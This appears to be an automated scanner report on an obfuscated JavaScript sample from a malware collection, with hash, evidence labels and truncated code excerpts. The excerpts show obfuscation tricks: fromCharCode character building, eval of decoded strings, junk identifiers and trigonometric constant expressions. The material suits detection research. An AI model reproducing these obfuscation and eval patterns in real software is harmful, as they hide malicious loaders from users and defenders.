Benign javascript-malware-collection Download

20151216_2996ae1c2d5a87724d860298be903aa0.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25662302857ec94f1c2fcc5933b689e8da6be46df2b81559fe327a8f4649ace1a76

Evidence

Builds characters with String.fromCharCode line 2

2:154… 'C','=','z','{','/','j','g','I','o','7','<',',','Y','F','E','V',String.fromCharCode(10),'%','U','u','R','M','L','-','(','{','S','X','6',')','1','T',String.fromCharCode(13),'Z','!','l','8','"',';','j','F','y','j' …

Executes JavaScript dynamically with eval() lines 5–9

5:51… JRAWPljCegUfQkpLRLveawuZuSv,nfYCKxMbuaDOitCstQGwzmHdyUGMICIfqjf){eval(xUdOPjuyRvBfUhbwu);}
6function NorVmbIabicIoGyHrVfcBCUCSyqgKfFoiCUDhpZeSLBXEPAvyvixpL(pthLAsOJCeODV,tjMbRKcqibUbXJ){ return VSmcOqU[hSJwEqEH[dZfPG(pthLAsOJCeODV[tjMbRKcqibUbXJ],(25439+433)/924,(4208+702)/491)]];}
7function bSHAUxC(yDwFlCcWcnconHlcyTPfnKlQMVbiRIdLDDkN) {return !wkgrUgrAwaF(fVirIqoWKsZGVGt(yDwFlCcWcnconHlcyTPfnKlQMVbiRIdLDDkN)) && ceYqqvzqsGPD(yDwFlCcWcnconHlcyTPfnKlQMVbiRIdLDDkN);}
8function wkgrUgrAwaF(LbVliUupAaXagj) {return isNaN(LbVliUupAaXagj);}
9function ceYqqvzqsGPD(KKemZypQhpNQf) {return isFinite(KKemZypQhpNQ …

Dense indexed short-token grid lines 12–13

12:33… zCJfwuU,IFOiDuzMnbk) {vnYVhMzvMzpyiM[xjZBLbzCJfwuU]=IFOiDuzMnbk;}
13var h = new Array();h[0]=[];h[0][0]='d';h[0][1]='a';h[0][2]='d';h[0][3]='a';h[0][4]='46';h[0][5]='3d';h[0][6]='42';h[0][7]='14';h[0][8]='31';h[0][9]='14';h[0][10]='25';h[0][11]='14';h[0][12]='16';h[0][13]='47';h[0][14]='3k';h[0][15 …

Numeric sine-square obfuscation expression lines 19–21

19:30… ],h[4],h[5]];
20var GNjRWniOZ=[];
21function aLkLJMWdTBwWtAlhY(JkkqM){PWajjZWMSqj= '';ZMFeiOOSyJn=Math.round((Math.pow(Math.sin(992), 2) + Math.pow(Math.cos(992), 2) - 1));while(true){if (ZMFeiOOSyJn >= (3395+871)/711){break;}GNjRWniOZ[ZMFeiOOSyJn]=Math.round((Math.pow(Math.sin(575), 2) + Math.pow(Math.cos(575), 2) - 1)); whil …